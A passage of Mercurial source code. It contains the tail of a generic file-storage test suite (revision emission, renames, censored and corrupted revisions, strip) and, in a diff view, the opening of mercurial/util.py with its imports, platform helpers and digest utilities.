         self.assertEqual(f.revision(node2), fulltext2)
         self.assertEqual(f.rawdata(node2), fulltext2)
 
         with self.assertRaises(error.LookupError):
             f.revision(b'\x01' * 20)
 
         self.assertEqual(f.read(node0), fulltext0)
         self.assertEqual(f.read(node1), fulltext1)
         self.assertEqual(f.read(node2), fulltext2)
 
         with self.assertRaises(error.LookupError):
             f.read(b'\x01' * 20)
 
         self.assertFalse(f.renamed(node0))
         self.assertFalse(f.renamed(node1))
         self.assertFalse(f.renamed(node2))
 
         with self.assertRaises(error.LookupError):
             f.renamed(b'\x01' * 20)
 
         self.assertFalse(f.cmp(node0, fulltext0))
         self.assertFalse(f.cmp(node1, fulltext1))
         self.assertFalse(f.cmp(node2, fulltext2))
 
         self.assertTrue(f.cmp(node1, fulltext0))
         self.assertTrue(f.cmp(node2, fulltext1))
 
         with self.assertRaises(error.LookupError):
             f.cmp(b'\x01' * 20, b'irrelevant')
 
         # Nodes should be emitted in order.
         gen = f.emitrevisions([node0, node1, node2], revisiondata=True)
 
         rev = next(gen)
 
         self.assertEqual(rev.node, node0)
         self.assertEqual(rev.p1node, nullid)
         self.assertEqual(rev.p2node, nullid)
         self.assertIsNone(rev.linknode)
         self.assertEqual(rev.basenode, nullid)
         self.assertIsNone(rev.baserevisionsize)
         self.assertEqual(rev.revision, fulltext0)
         self.assertIsNone(rev.delta)
 
         rev = next(gen)
 
         self.assertEqual(rev.node, node1)
         self.assertEqual(rev.p1node, node0)
         self.assertEqual(rev.p2node, nullid)
         self.assertIsNone(rev.linknode)
         self.assertEqual(rev.basenode, node0)
         self.assertIsNone(rev.baserevisionsize)
         self.assertIsNone(rev.revision)
         self.assertEqual(
             rev.delta,
             b'\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x04\x01' + fulltext1,
         )
 
         rev = next(gen)
 
         self.assertEqual(rev.node, node2)
         self.assertEqual(rev.p1node, node1)
         self.assertEqual(rev.p2node, nullid)
         self.assertIsNone(rev.linknode)
         self.assertEqual(rev.basenode, node1)
         self.assertIsNone(rev.baserevisionsize)
         self.assertIsNone(rev.revision)
         self.assertEqual(
             rev.delta,
             b'\x00\x00\x00\x00\x00\x00\x04\x01\x00\x00\x04\x02' + fulltext2,
         )
 
         with self.assertRaises(StopIteration):
             next(gen)
 
         # Request not in DAG order is reordered to be in DAG order.
         gen = f.emitrevisions([node2, node1, node0], revisiondata=True)
 
         rev = next(gen)
 
         self.assertEqual(rev.node, node0)
         self.assertEqual(rev.p1node, nullid)
         self.assertEqual(rev.p2node, nullid)
         self.assertIsNone(rev.linknode)
         self.assertEqual(rev.basenode, nullid)
         self.assertIsNone(rev.baserevisionsize)
         self.assertEqual(rev.revision, fulltext0)
         self.assertIsNone(rev.delta)
 
         rev = next(gen)
 
         self.assertEqual(rev.node, node1)
         self.assertEqual(rev.p1node, node0)
         self.assertEqual(rev.p2node, nullid)
         self.assertIsNone(rev.linknode)
         self.assertEqual(rev.basenode, node0)
         self.assertIsNone(rev.baserevisionsize)
         self.assertIsNone(rev.revision)
         self.assertEqual(
             rev.delta,
             b'\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x04\x01' + fulltext1,
         )
 
         rev = next(gen)
 
         self.assertEqual(rev.node, node2)
         self.assertEqual(rev.p1node, node1)
         self.assertEqual(rev.p2node, nullid)
         self.assertIsNone(rev.linknode)
         self.assertEqual(rev.basenode, node1)
         self.assertIsNone(rev.baserevisionsize)
         self.assertIsNone(rev.revision)
         self.assertEqual(
             rev.delta,
             b'\x00\x00\x00\x00\x00\x00\x04\x01\x00\x00\x04\x02' + fulltext2,
         )
 
         with self.assertRaises(StopIteration):
             next(gen)
 
         # Unrecognized nodesorder value raises ProgrammingError.
         with self.assertRaises(error.ProgrammingError):
             list(f.emitrevisions([], nodesorder=b'bad'))
 
         # nodesorder=storage is recognized. But we can't test it thoroughly
         # because behavior is storage-dependent.
         res = list(
             f.emitrevisions([node2, node1, node0], nodesorder=b'storage')
         )
         self.assertEqual(len(res), 3)
         self.assertEqual({o.node for o in res}, {node0, node1, node2})
 
         # nodesorder=nodes forces the order.
         gen = f.emitrevisions(
             [node2, node0], nodesorder=b'nodes', revisiondata=True
         )
 
         rev = next(gen)
         self.assertEqual(rev.node, node2)
         self.assertEqual(rev.p1node, node1)
         self.assertEqual(rev.p2node, nullid)
         self.assertEqual(rev.basenode, nullid)
         self.assertIsNone(rev.baserevisionsize)
         self.assertEqual(rev.revision, fulltext2)
         self.assertIsNone(rev.delta)
 
         rev = next(gen)
         self.assertEqual(rev.node, node0)
         self.assertEqual(rev.p1node, nullid)
         self.assertEqual(rev.p2node, nullid)
         # Delta behavior is storage dependent, so we can't easily test it.
 
         with self.assertRaises(StopIteration):
             next(gen)
 
         # assumehaveparentrevisions=False (the default) won't send a delta for
         # the first revision.
         gen = f.emitrevisions({node2, node1}, revisiondata=True)
 
         rev = next(gen)
         self.assertEqual(rev.node, node1)
         self.assertEqual(rev.p1node, node0)
         self.assertEqual(rev.p2node, nullid)
         self.assertEqual(rev.basenode, nullid)
         self.assertIsNone(rev.baserevisionsize)
         self.assertEqual(rev.revision, fulltext1)
         self.assertIsNone(rev.delta)
 
         rev = next(gen)
         self.assertEqual(rev.node, node2)
         self.assertEqual(rev.p1node, node1)
         self.assertEqual(rev.p2node, nullid)
         self.assertEqual(rev.basenode, node1)
         self.assertIsNone(rev.baserevisionsize)
         self.assertIsNone(rev.revision)
         self.assertEqual(
             rev.delta,
             b'\x00\x00\x00\x00\x00\x00\x04\x01\x00\x00\x04\x02' + fulltext2,
         )
 
         with self.assertRaises(StopIteration):
             next(gen)
 
         # assumehaveparentrevisions=True allows delta against initial revision.
         gen = f.emitrevisions(
             [node2, node1], revisiondata=True, assumehaveparentrevisions=True
         )
 
         rev = next(gen)
         self.assertEqual(rev.node, node1)
         self.assertEqual(rev.p1node, node0)
         self.assertEqual(rev.p2node, nullid)
         self.assertEqual(rev.basenode, node0)
         self.assertIsNone(rev.baserevisionsize)
         self.assertIsNone(rev.revision)
         self.assertEqual(
             rev.delta,
             b'\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x04\x01' + fulltext1,
         )
 
         # forceprevious=True forces a delta against the previous revision.
         # Special case for initial revision.
         gen = f.emitrevisions(
             [node0], revisiondata=True, deltamode=repository.CG_DELTAMODE_PREV
         )
 
         rev = next(gen)
         self.assertEqual(rev.node, node0)
         self.assertEqual(rev.p1node, nullid)
         self.assertEqual(rev.p2node, nullid)
         self.assertEqual(rev.basenode, nullid)
         self.assertIsNone(rev.baserevisionsize)
         self.assertIsNone(rev.revision)
         self.assertEqual(
             rev.delta,
             b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00' + fulltext0,
         )
 
         with self.assertRaises(StopIteration):
             next(gen)
 
         gen = f.emitrevisions(
             [node0, node2],
             revisiondata=True,
             deltamode=repository.CG_DELTAMODE_PREV,
         )
 
         rev = next(gen)
         self.assertEqual(rev.node, node0)
         self.assertEqual(rev.p1node, nullid)
         self.assertEqual(rev.p2node, nullid)
         self.assertEqual(rev.basenode, nullid)
         self.assertIsNone(rev.baserevisionsize)
         self.assertIsNone(rev.revision)
         self.assertEqual(
             rev.delta,
             b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00' + fulltext0,
         )
 
         rev = next(gen)
         self.assertEqual(rev.node, node2)
         self.assertEqual(rev.p1node, node1)
         self.assertEqual(rev.p2node, nullid)
         self.assertEqual(rev.basenode, node0)
 
         with self.assertRaises(StopIteration):
             next(gen)
 
     def testrenamed(self):
         fulltext0 = b'foo'
         fulltext1 = b'bar'
         fulltext2 = b'baz'
 
         meta1 = {
             b'copy': b'source0',
             b'copyrev': b'a' * 40,
         }
 
         meta2 = {
             b'copy': b'source1',
             b'copyrev': b'b' * 40,
         }
 
         stored1 = b''.join(
             [
                 b'\x01\ncopy: source0\n',
                 b'copyrev: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\n\x01\n',
                 fulltext1,
             ]
         )
 
         stored2 = b''.join(
             [
                 b'\x01\ncopy: source1\n',
                 b'copyrev: bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb\n\x01\n',
                 fulltext2,
             ]
         )
 
         f = self._makefilefn()
         with self._maketransactionfn() as tr:
             node0 = f.add(fulltext0, None, tr, 0, nullid, nullid)
             node1 = f.add(fulltext1, meta1, tr, 1, node0, nullid)
             node2 = f.add(fulltext2, meta2, tr, 2, nullid, nullid)
 
         # Metadata header isn't recognized when parent isn't nullid.
         self.assertEqual(f.size(1), len(stored1))
         self.assertEqual(f.size(2), len(fulltext2))
 
         self.assertEqual(f.revision(node1), stored1)
         self.assertEqual(f.rawdata(node1), stored1)
         self.assertEqual(f.revision(node2), stored2)
         self.assertEqual(f.rawdata(node2), stored2)
 
         self.assertEqual(f.read(node1), fulltext1)
         self.assertEqual(f.read(node2), fulltext2)
 
         # Returns False when first parent is set.
         self.assertFalse(f.renamed(node1))
         self.assertEqual(f.renamed(node2), (b'source1', b'\xbb' * 20))
 
         self.assertTrue(f.cmp(node1, fulltext1))
         self.assertTrue(f.cmp(node1, stored1))
         self.assertFalse(f.cmp(node2, fulltext2))
         self.assertTrue(f.cmp(node2, stored2))
 
     def testmetadataprefix(self):
         # Content with metadata prefix has extra prefix inserted in storage.
         fulltext0 = b'\x01\nfoo'
         stored0 = b'\x01\n\x01\n\x01\nfoo'
 
         fulltext1 = b'\x01\nbar'
         meta1 = {
             b'copy': b'source0',
             b'copyrev': b'b' * 40,
         }
         stored1 = b''.join(
             [
                 b'\x01\ncopy: source0\n',
                 b'copyrev: %s\n' % (b'b' * 40),
                 b'\x01\n\x01\nbar',
             ]
         )
 
         f = self._makefilefn()
         with self._maketransactionfn() as tr:
             node0 = f.add(fulltext0, {}, tr, 0, nullid, nullid)
             node1 = f.add(fulltext1, meta1, tr, 1, nullid, nullid)
 
         # TODO this is buggy.
         self.assertEqual(f.size(0), len(fulltext0) + 4)
 
         self.assertEqual(f.size(1), len(fulltext1))
 
         self.assertEqual(f.revision(node0), stored0)
         self.assertEqual(f.rawdata(node0), stored0)
 
         self.assertEqual(f.revision(node1), stored1)
         self.assertEqual(f.rawdata(node1), stored1)
 
         self.assertEqual(f.read(node0), fulltext0)
         self.assertEqual(f.read(node1), fulltext1)
 
         self.assertFalse(f.cmp(node0, fulltext0))
         self.assertTrue(f.cmp(node0, stored0))
 
         self.assertFalse(f.cmp(node1, fulltext1))
         self.assertTrue(f.cmp(node1, stored0))
 
     def testbadnoderead(self):
         f = self._makefilefn()
 
         fulltext0 = b'foo\n' * 30
         fulltext1 = fulltext0 + b'bar\n'
 
         with self._maketransactionfn() as tr:
             node0 = f.add(fulltext0, None, tr, 0, nullid, nullid)
             node1 = b'\xaa' * 20
 
             self._addrawrevisionfn(
                 f, tr, node1, node0, nullid, 1, rawtext=fulltext1
             )
 
         self.assertEqual(len(f), 2)
         self.assertEqual(f.parents(node1), (node0, nullid))
 
         # revision() raises since it performs hash verification.
         with self.assertRaises(error.StorageError):
             f.revision(node1)
 
         # rawdata() still verifies because there are no special storage
         # settings.
         with self.assertRaises(error.StorageError):
             f.rawdata(node1)
 
         # read() behaves like revision().
         with self.assertRaises(error.StorageError):
             f.read(node1)
 
         # We can't test renamed() here because some backends may not require
         # reading/validating the fulltext to return rename metadata.
 
     def testbadnoderevisionraw(self):
         # Like above except we test rawdata() first to isolate
         # revision caching behavior.
         f = self._makefilefn()
 
         fulltext0 = b'foo\n' * 30
         fulltext1 = fulltext0 + b'bar\n'
 
         with self._maketransactionfn() as tr:
             node0 = f.add(fulltext0, None, tr, 0, nullid, nullid)
             node1 = b'\xaa' * 20
 
             self._addrawrevisionfn(
                 f, tr, node1, node0, nullid, 1, rawtext=fulltext1
             )
 
         with self.assertRaises(error.StorageError):
             f.rawdata(node1)
 
         with self.assertRaises(error.StorageError):
             f.rawdata(node1)
 
     def testbadnoderevisionraw(self):
         # Like above except we test read() first to isolate revision caching
         # behavior.
         f = self._makefilefn()
 
         fulltext0 = b'foo\n' * 30
         fulltext1 = fulltext0 + b'bar\n'
 
         with self._maketransactionfn() as tr:
             node0 = f.add(fulltext0, None, tr, 0, nullid, nullid)
             node1 = b'\xaa' * 20
 
             self._addrawrevisionfn(
                 f, tr, node1, node0, nullid, 1, rawtext=fulltext1
             )
 
         with self.assertRaises(error.StorageError):
             f.read(node1)
 
         with self.assertRaises(error.StorageError):
             f.read(node1)
 
     def testbadnodedelta(self):
         f = self._makefilefn()
 
         fulltext0 = b'foo\n' * 31
         fulltext1 = fulltext0 + b'bar\n'
         fulltext2 = fulltext1 + b'baz\n'
 
         with self._maketransactionfn() as tr:
             node0 = f.add(fulltext0, None, tr, 0, nullid, nullid)
             node1 = b'\xaa' * 20
 
             self._addrawrevisionfn(
                 f, tr, node1, node0, nullid, 1, rawtext=fulltext1
             )
 
         with self.assertRaises(error.StorageError):
             f.read(node1)
 
         node2 = storageutil.hashrevisionsha1(fulltext2, node1, nullid)
 
         with self._maketransactionfn() as tr:
             delta = mdiff.textdiff(fulltext1, fulltext2)
             self._addrawrevisionfn(
                 f, tr, node2, node1, nullid, 2, delta=(1, delta)
             )
 
         self.assertEqual(len(f), 3)
 
         # Assuming a delta is stored, we shouldn't need to validate node1 in
         # order to retrieve node2.
         self.assertEqual(f.read(node2), fulltext2)
 
     def testcensored(self):
         f = self._makefilefn()
 
         stored1 = storageutil.packmeta({b'censored': b'tombstone',}, b'')
 
         with self._maketransactionfn() as tr:
             node0 = f.add(b'foo', None, tr, 0, nullid, nullid)
 
             # The node value doesn't matter since we can't verify it.
             node1 = b'\xbb' * 20
 
             self._addrawrevisionfn(
                 f, tr, node1, node0, nullid, 1, stored1, censored=True
             )
 
         self.assertTrue(f.iscensored(1))
 
         with self.assertRaises(error.CensoredNodeError):
             f.revision(1)
 
         with self.assertRaises(error.CensoredNodeError):
             f.rawdata(1)
 
         with self.assertRaises(error.CensoredNodeError):
             f.read(1)
 
     def testcensoredrawrevision(self):
         # Like above, except we do the rawdata() request first to
         # isolate revision caching behavior.
 
         f = self._makefilefn()
 
         stored1 = storageutil.packmeta({b'censored': b'tombstone',}, b'')
 
         with self._maketransactionfn() as tr:
             node0 = f.add(b'foo', None, tr, 0, nullid, nullid)
 
             # The node value doesn't matter since we can't verify it.
             node1 = b'\xbb' * 20
 
             self._addrawrevisionfn(
                 f, tr, node1, node0, nullid, 1, stored1, censored=True
             )
 
         with self.assertRaises(error.CensoredNodeError):
             f.rawdata(1)
 
 
 class ifilemutationtests(basetestcase):
     """Generic tests for the ifilemutation interface.
 
     All file storage backends that support writing should conform to this
     interface.
 
     Use ``makeifilemutationtests()`` to create an instance of this type.
     """
 
     def testaddnoop(self):
         f = self._makefilefn()
         with self._maketransactionfn() as tr:
             node0 = f.add(b'foo', None, tr, 0, nullid, nullid)
             node1 = f.add(b'foo', None, tr, 0, nullid, nullid)
             # Varying by linkrev shouldn't impact hash.
             node2 = f.add(b'foo', None, tr, 1, nullid, nullid)
 
         self.assertEqual(node1, node0)
         self.assertEqual(node2, node0)
         self.assertEqual(len(f), 1)
 
     def testaddrevisionbadnode(self):
         f = self._makefilefn()
         with self._maketransactionfn() as tr:
             # Adding a revision with bad node value fails.
             with self.assertRaises(error.StorageError):
                 f.addrevision(b'foo', tr, 0, nullid, nullid, node=b'\x01' * 20)
 
     def testaddrevisionunknownflag(self):
         f = self._makefilefn()
         with self._maketransactionfn() as tr:
             for i in range(15, 0, -1):
                 if (1 << i) & ~repository.REVISION_FLAGS_KNOWN:
                     flags = 1 << i
                     break
 
             with self.assertRaises(error.StorageError):
                 f.addrevision(b'foo', tr, 0, nullid, nullid, flags=flags)
 
     def testaddgroupsimple(self):
         f = self._makefilefn()
 
         callbackargs = []
 
         def cb(*args, **kwargs):
             callbackargs.append((args, kwargs))
 
         def linkmapper(node):
             return 0
 
         with self._maketransactionfn() as tr:
             nodes = f.addgroup([], None, tr, addrevisioncb=cb)
 
         self.assertEqual(nodes, [])
         self.assertEqual(callbackargs, [])
         self.assertEqual(len(f), 0)
 
         fulltext0 = b'foo'
         delta0 = mdiff.trivialdiffheader(len(fulltext0)) + fulltext0
 
         with self._maketransactionfn() as tr:
             node0 = f.add(fulltext0, None, tr, 0, nullid, nullid)
 
         f = self._makefilefn()
 
         deltas = [
             (node0, nullid, nullid, nullid, nullid, delta0, 0),
         ]
 
         with self._maketransactionfn() as tr:
             nodes = f.addgroup(deltas, linkmapper, tr, addrevisioncb=cb)
 
         self.assertEqual(
             nodes,
             [
                 b'\x49\xd8\xcb\xb1\x5c\xe2\x57\x92\x04\x47'
                 b'\x00\x6b\x46\x97\x8b\x7a\xf9\x80\xa9\x79'
             ],
         )
 
         self.assertEqual(len(callbackargs), 1)
         self.assertEqual(callbackargs[0][0][1], nodes[0])
 
         self.assertEqual(list(f.revs()), [0])
         self.assertEqual(f.rev(nodes[0]), 0)
         self.assertEqual(f.node(0), nodes[0])
 
     def testaddgroupmultiple(self):
         f = self._makefilefn()
 
         fulltexts = [
             b'foo',
             b'bar',
             b'x' * 1024,
         ]
 
         nodes = []
         with self._maketransactionfn() as tr:
             for fulltext in fulltexts:
                 nodes.append(f.add(fulltext, None, tr, 0, nullid, nullid))
 
         f = self._makefilefn()
         deltas = []
         for i, fulltext in enumerate(fulltexts):
             delta = mdiff.trivialdiffheader(len(fulltext)) + fulltext
 
             deltas.append((nodes[i], nullid, nullid, nullid, nullid, delta, 0))
 
         with self._maketransactionfn() as tr:
             self.assertEqual(f.addgroup(deltas, lambda x: 0, tr), nodes)
 
         self.assertEqual(len(f), len(deltas))
         self.assertEqual(list(f.revs()), [0, 1, 2])
         self.assertEqual(f.rev(nodes[0]), 0)
         self.assertEqual(f.rev(nodes[1]), 1)
         self.assertEqual(f.rev(nodes[2]), 2)
         self.assertEqual(f.node(0), nodes[0])
         self.assertEqual(f.node(1), nodes[1])
         self.assertEqual(f.node(2), nodes[2])
 
     def testdeltaagainstcensored(self):
         # Attempt to apply a delta made against a censored revision.
         f = self._makefilefn()
 
         stored1 = storageutil.packmeta({b'censored': b'tombstone',}, b'')
 
         with self._maketransactionfn() as tr:
             node0 = f.add(b'foo\n' * 30, None, tr, 0, nullid, nullid)
 
             # The node value doesn't matter since we can't verify it.
             node1 = b'\xbb' * 20
 
             self._addrawrevisionfn(
                 f, tr, node1, node0, nullid, 1, stored1, censored=True
             )
 
         delta = mdiff.textdiff(b'bar\n' * 30, (b'bar\n' * 30) + b'baz\n')
         deltas = [(b'\xcc' * 20, node1, nullid, b'\x01' * 20, node1, delta, 0)]
 
         with self._maketransactionfn() as tr:
             with self.assertRaises(error.CensoredBaseError):
                 f.addgroup(deltas, lambda x: 0, tr)
 
     def testcensorrevisionbasic(self):
         f = self._makefilefn()
 
         with self._maketransactionfn() as tr:
             node0 = f.add(b'foo\n' * 30, None, tr, 0, nullid, nullid)
             node1 = f.add(b'foo\n' * 31, None, tr, 1, node0, nullid)
             node2 = f.add(b'foo\n' * 32, None, tr, 2, node1, nullid)
 
         with self._maketransactionfn() as tr:
             f.censorrevision(tr, node1)
 
         self.assertEqual(len(f), 3)
         self.assertEqual(list(f.revs()), [0, 1, 2])
 
         self.assertEqual(f.read(node0), b'foo\n' * 30)
         self.assertEqual(f.read(node2), b'foo\n' * 32)
 
         with self.assertRaises(error.CensoredNodeError):
             f.read(node1)
 
     def testgetstrippointnoparents(self):
         # N revisions where none have parents.
         f = self._makefilefn()
 
         with self._maketransactionfn() as tr:
             for rev in range(10):
                 f.add(b'%d' % rev, None, tr, rev, nullid, nullid)
 
         for rev in range(10):
             self.assertEqual(f.getstrippoint(rev), (rev, set()))
 
     def testgetstrippointlinear(self):
         # N revisions in a linear chain.
         f = self._makefilefn()
 
         with self._maketransactionfn() as tr:
             p1 = nullid
 
             for rev in range(10):
                 f.add(b'%d' % rev, None, tr, rev, p1, nullid)
 
         for rev in range(10):
             self.assertEqual(f.getstrippoint(rev), (rev, set()))
 
     def testgetstrippointmultipleheads(self):
         f = self._makefilefn()
 
         with self._maketransactionfn() as tr:
             node0 = f.add(b'0', None, tr, 0, nullid, nullid)
             node1 = f.add(b'1', None, tr, 1, node0, nullid)
             f.add(b'2', None, tr, 2, node1, nullid)
             f.add(b'3', None, tr, 3, node0, nullid)
             f.add(b'4', None, tr, 4, node0, nullid)
 
         for rev in range(5):
             self.assertEqual(f.getstrippoint(rev), (rev, set()))
 
     def testgetstrippointearlierlinkrevs(self):
         f = self._makefilefn()
 
         with self._maketransactionfn() as tr:
             node0 = f.add(b'0', None, tr, 0, nullid, nullid)
             f.add(b'1', None, tr, 10, node0, nullid)
             f.add(b'2', None, tr, 5, node0, nullid)
 
         self.assertEqual(f.getstrippoint(0), (0, set()))
         self.assertEqual(f.getstrippoint(1), (1, set()))
         self.assertEqual(f.getstrippoint(2), (1, set()))
         self.assertEqual(f.getstrippoint(3), (1, set()))
         self.assertEqual(f.getstrippoint(4), (1, set()))
         self.assertEqual(f.getstrippoint(5), (1, set()))
         self.assertEqual(f.getstrippoint(6), (1, {2}))
         self.assertEqual(f.getstrippoint(7), (1, {2}))
         self.assertEqual(f.getstrippoint(8), (1, {2}))
         self.assertEqual(f.getstrippoint(9), (1, {2}))
         self.assertEqual(f.getstrippoint(10), (1, {2}))
         self.assertEqual(f.getstrippoint(11), (3, set()))
 
     def teststripempty(self):
         f = self._makefilefn()
 
         with self._maketransactionfn() as tr:
             f.strip(0, tr)
 
         self.assertEqual(len(f), 0)
 
     def teststripall(self):
         f = self._makefilefn()
 
         with self._maketransactionfn() as tr:
             p1 = nullid
             for rev in range(10):
                 p1 = f.add(b'%d' % rev, None, tr, rev, p1, nullid)
 
         self.assertEqual(len(f), 10)
 
         with self._maketransactionfn() as tr:
             f.strip(0, tr)
 
         self.assertEqual(len(f), 0)
 
     def teststrippartial(self):
         f = self._makefilefn()
 
         with self._maketransactionfn() as tr:
             f.add(b'0', None, tr, 0, nullid, nullid)
             node1 = f.add(b'1', None, tr, 5, nullid, nullid)
             node2 = f.add(b'2', None, tr, 10, nullid, nullid)
 
         self.assertEqual(len(f), 3)
 
         with self._maketransactionfn() as tr:
             f.strip(11, tr)
 
         self.assertEqual(len(f), 3)
 
         with self._maketransactionfn() as tr:
             f.strip(10, tr)
 
         self.assertEqual(len(f), 2)
 
         with self.assertRaises(error.LookupError):
             f.rev(node2)
 
         with self._maketransactionfn() as tr:
             f.strip(6, tr)
 
         self.assertEqual(len(f), 2)
 
         with self._maketransactionfn() as tr:
             f.strip(3, tr)
 
         self.assertEqual(len(f), 1)
 
         with self.assertRaises(error.LookupError):
             f.rev(node1)
 
 
 def makeifileindextests(makefilefn, maketransactionfn, addrawrevisionfn):
     """Create a unittest.TestCase class suitable for testing file storage.
 
     ``makefilefn`` is a callable which receives the test case as an
     argument and returns an object implementing the ``ifilestorage`` interface.
 
     ``maketransactionfn`` is a callable which receives the test case as an
     argument and returns a transaction object.
 
     ``addrawrevisionfn`` is a callable which receives arguments describing a
     low-level revision to add. This callable allows the insertion of
     potentially bad data into the store in order to facilitate testing.
 
     Returns a type that is a ``unittest.TestCase`` that can be used for
     testing the object implementing the file storage interface. Simply
     assign the returned value to a module-level attribute and a test loader
     should find and run it automatically.
     """
     d = {
         r'_makefilefn': makefilefn,
         r'_maketransactionfn': maketransactionfn,
         r'_addrawrevisionfn': addrawrevisionfn,
     }
     return type(r'ifileindextests', (ifileindextests,), d)
 
 
 def makeifiledatatests(makefilefn, maketransactionfn, addrawrevisionfn):
     d = {
         r'_makefilefn': makefilefn,
         r'_maketransactionfn': maketransactionfn,
         r'_addrawrevisionfn': addrawrevisionfn,
     }
     return type(r'ifiledatatests', (ifiledatatests,), d)
 
 
 def makeifilemutationtests(makefilefn, maketransactionfn, addrawrevisionfn):
     d = {
         r'_makefilefn': makefilefn,
         r'_maketransactionfn': maketransactionfn,
         r'_addrawrevisionfn': addrawrevisionfn,
     }
     return type(r'ifilemutationtests', (ifilemutationtests,), d)

mercurial/util.py

@@ -1,3660 +1,3660
 # util.py - Mercurial utility functions and platform specific implementations
 #
 #  Copyright 2005 K. Thananchayan <[e-mail]>
 #  Copyright 2005-2007 Matt Mackall <[e-mail]>
 #  Copyright 2006 Vadim Gelfer <[e-mail]>
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
 """Mercurial utility functions and platform specific implementations.
 
 This contains helper routines that are independent of the SCM core and
 hide platform-specific details from the core.
 """
 
 from __future__ import absolute_import, print_function
 
 import abc
 import collections
 import contextlib
 import errno
 import gc
 import hashlib
 import itertools
 import mmap
 import os
 import platform as pyplatform
 import re as remod
 import shutil
 import socket
 import stat
 import sys
 import time
 import traceback
 import warnings
 
 from .thirdparty import attr
 from .pycompat import (
     delattr,
     getattr,
     open,
     setattr,
 )
 from hgdemandimport import tracing
 from . import (
     encoding,
     error,
     i18n,
     node as nodemod,
     policy,
     pycompat,
     urllibcompat,
 )
 from .utils import (
     compression,
     procutil,
     stringutil,
 )
 
 rustdirs = policy.importrust(r'dirstate', r'Dirs')
 
 base85 = policy.importmod(r'base85')
 osutil = policy.importmod(r'osutil')
 parsers = policy.importmod(r'parsers')
 
 b85decode = base85.b85decode
 b85encode = base85.b85encode
 
 cookielib = pycompat.cookielib
 httplib = pycompat.httplib
 pickle = pycompat.pickle
 safehasattr = pycompat.safehasattr
 socketserver = pycompat.socketserver
 bytesio = pycompat.bytesio
 # TODO deprecate stringio name, as it is a lie on Python 3.
 stringio = bytesio
 xmlrpclib = pycompat.xmlrpclib
 
 httpserver = urllibcompat.httpserver
 urlerr = urllibcompat.urlerr
 urlreq = urllibcompat.urlreq
 
 # workaround for win32mbcs
 _filenamebytestr = pycompat.bytestr
 
 if pycompat.iswindows:
     from . import windows as platform
 else:
     from . import posix as platform
 
 _ = i18n._
 
 bindunixsocket = platform.bindunixsocket
 cachestat = platform.cachestat
 checkexec = platform.checkexec
 checklink = platform.checklink
 copymode = platform.copymode
 expandglobs = platform.expandglobs
 getfsmountpoint = platform.getfsmountpoint
 getfstype = platform.getfstype
 groupmembers = platform.groupmembers
 groupname = platform.groupname
 isexec = platform.isexec
 isowner = platform.isowner
 listdir = osutil.listdir
 localpath = platform.localpath
 lookupreg = platform.lookupreg
 makedir = platform.makedir
 nlinks = platform.nlinks
 normpath = platform.normpath
 normcase = platform.normcase
 normcasespec = platform.normcasespec
 normcasefallback = platform.normcasefallback
 openhardlinks = platform.openhardlinks
 oslink = platform.oslink
 parsepatchoutput = platform.parsepatchoutput
 pconvert = platform.pconvert
 poll = platform.poll
 posixfile = platform.posixfile
 readlink = platform.readlink
 rename = platform.rename
 removedirs = platform.removedirs
 samedevice = platform.samedevice
 samefile = platform.samefile
 samestat = platform.samestat
 setflags = platform.setflags
 split = platform.split
 statfiles = getattr(osutil, 'statfiles', platform.statfiles)
 statisexec = platform.statisexec
 statislink = platform.statislink
 umask = platform.umask
 unlink = platform.unlink
 username = platform.username
 
 # small compat layer
 compengines = compression.compengines
 SERVERROLE = compression.SERVERROLE
 CLIENTROLE = compression.CLIENTROLE
 
 try:
     recvfds = osutil.recvfds
 except AttributeError:
     pass
 
 # Python compatibility
 
 _notset = object()
 
 
 def bitsfrom(container):
     bits = 0
     for bit in container:
         bits |= bit
     return bits
 
 
 # python 2.6 still have deprecation warning enabled by default. We do not want
 # to display anything to standard user so detect if we are running test and
 # only use python deprecation warning in this case.
 _dowarn = bool(encoding.environ.get(b'HGEMITWARNINGS'))
 if _dowarn:
     # explicitly unfilter our warning for python 2.7
     #
     # The option of setting PYTHONWARNINGS in the test runner was investigated.
     # However, module name set through PYTHONWARNINGS was exactly matched, so
     # we cannot set 'mercurial' and have it match eg: 'mercurial.scmutil'. This
     # makes the whole PYTHONWARNINGS thing useless for our usecase.
     warnings.filterwarnings(r'default', r'', DeprecationWarning, r'mercurial')
     warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext')
     warnings.filterwarnings(r'default', r'', DeprecationWarning, r'hgext3rd')
 if _dowarn and pycompat.ispy3:
     # silence warning emitted by passing user string to re.sub()
     warnings.filterwarnings(
         r'ignore', r'bad escape', DeprecationWarning, r'mercurial'
     )
     warnings.filterwarnings(
         r'ignore', r'invalid escape sequence', DeprecationWarning, r'mercurial'
     )
     # TODO: reinvent imp.is_frozen()
     warnings.filterwarnings(
         r'ignore',
         r'the imp module is deprecated',
         DeprecationWarning,
         r'mercurial',
     )
 
 
 def nouideprecwarn(msg, version, stacklevel=1):
     """Issue an python native deprecation warning
 
     This is a noop outside of tests, use 'ui.deprecwarn' when possible.
     """
     if _dowarn:
         msg += (
             b"\n(compatibility will be dropped after Mercurial-%s,"
             b" update your code.)"
         ) % version
         warnings.warn(pycompat.sysstr(msg), DeprecationWarning, stacklevel + 1)
 
 
 DIGESTS = {
     b'md5': hashlib.md5,
     b'sha1': hashlib.sha1,
     b'sha512': hashlib.sha512,
 }
 # List of digest types from strongest to weakest
 DIGESTS_BY_STRENGTH = [b'sha512', b'sha1', b'md5']
 
 for k in DIGESTS_BY_STRENGTH:
     assert k in DIGESTS
 
 
 class digester(object):
     """helper to compute digests.
 
     This helper can be used to compute one or more digests given their name.
 
     >>> d = digester([b'md5', b'sha1'])
     >>> d.update(b'foo')
     >>> [k for k in sorted(d)]
     ['md5', 'sha1']
     >>> d[b'md5']
     'acbd18db4cc2f85cedef654fccc4a4d8'
     >>> d[b'sha1']
     '0beec7b5ea3f0fdbc95d0dd47f3c5bc275da8a33'
     >>> digester.preferred([b'md5', b'sha1'])
     'sha1'
     """
 
     def __init__(self, digests, s=b''):
         self._hashes = {}
         for k in digests:
             if k not in DIGESTS:
